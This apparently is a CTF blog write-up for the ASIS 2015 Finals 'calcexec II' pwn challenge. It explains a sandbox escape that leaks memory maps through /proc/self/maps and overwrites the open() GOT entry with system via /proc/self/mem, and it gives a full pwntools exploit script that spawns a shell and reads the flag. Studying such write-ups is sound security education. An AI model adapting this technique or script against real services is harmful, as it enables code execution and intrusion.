ASIS 2015 Finals: calcexec II (pwn250)

Reading time ~3 minutes

The second part of the challenge uses an already known technique to break out from “sandboxes”.

Namely: overwriting the contents of the /proc/self/mem. This is possible because the calculator contains two methods: READ and WRITE with which we can read and write arbitrary files. (Note: I tried to read “flag2”, but unfortunately it did not exist… :))

So I leaked the memory mappings with reading the /proc/self/maps file. Then I overwrote the “open” call’s GOT entry to system. And simply called the READ call again with /bin/sh which instead of opening the file, opened a shell for me (btw I tried to call “sh” first, but it turned out it calls a stat function first, and “sh” did not work, but “/bin/sh” did the trick).

Also there were some character encoding problem (it probably tried to interpret the binary input as UTF8 characters), so I only overwrote 3 bytes instead of the full address and the exploit is not reliable: only works if ASLR gives an address with characters which are lower than 0x80.

After calling an “ls” it turned out the flag was in the flag2-03dae19b720939043d87fbf67342c2e8.txt file.

And the flag was: ASIS{9009eeab9869a8098acd7bb19f079230}

Exploit code

#!/usr/bin/env python
from pwn import *
import re
from time import sleep

for i in xrange(10):
    print "Try #%d" % (i + 1)
    p = remote('185.82.202.146', 1337)
    #p = process('./start.sh', shell=True)
    p.recvline()
    p.recvline()

    p.send('authenticate\n')
    p.send(open('fakeCa.crt').read()+'\n')

    p.send('authenticate\n')
    p.send(open('fakeUserCert.crt').read()+'\n')

    p.send('flag\n')
    p.recvuntil('> ')
    print '[!] FLAG 1 = %s' % p.recvline().strip()

    p.send('read("/proc/self/maps",0,20000)\n')
    p.recvuntil('> ')
    maps = p.recvuntil('\x00')
    p.recvuntil('\n\n')
    #print "maps =", maps

    libcBase = int(re.search('([a-z0-9]+).*?libc-2.19.so', maps).group(1), 16)
    libThreadBase = int(re.search('([a-z0-9]+).*?libpthread-2.19.so', maps).group(1), 16)
    print "libThread base = 0x%016x" % libThreadBase

    systemLocal = 0x7ffff74ba230
    libThreadBaseLocal = 0x7ffff74aa000
    openGotAddr = 0x9776C8

    system = libThreadBase - libThreadBaseLocal + systemLocal
    print "system = 0x%016x" % system

    systemChars = p64(system)[0:3]
    if ord(systemChars[0]) >= 128 or ord(systemChars[1]) >= 128 or ord(systemChars[2]) >= 128:
        print "Exploit won't work, restarting..."
        p.close()
        continue
        
    p.send('write("/proc/self/mem",'+str(openGotAddr)+',"'+systemChars+'")\nread("/bin/sh",0,1)\n')
    p.recvline()
    p.recvline()

    time.sleep(0.4)
    p.send('ls && echo LSEND\n')
    print "ls result = %s" % p.recvuntil('LSEND\n').replace('LSEND','').replace('\n', ' ').strip()

    p.send('cat flag2-03dae19b720939043d87fbf67342c2e8.txt\n')
    print "[!] FLAG 2 = %s" % p.recvline().strip()

    p.interactive()
    break

HITCON CTF 2019 Quals: Reverse - EmojiVM

This challenge was a VM implemented where every instruction was an emoji. For the first part of the challenge we had to reverse a flag ch...… Continue reading

HITCON CTF 2019 Quals: Reverse - CoreDumb

Published on October 19, 2019

HITCON CTF 2019 Quals: Pwn - Crypto in the shell

Published on October 19, 2019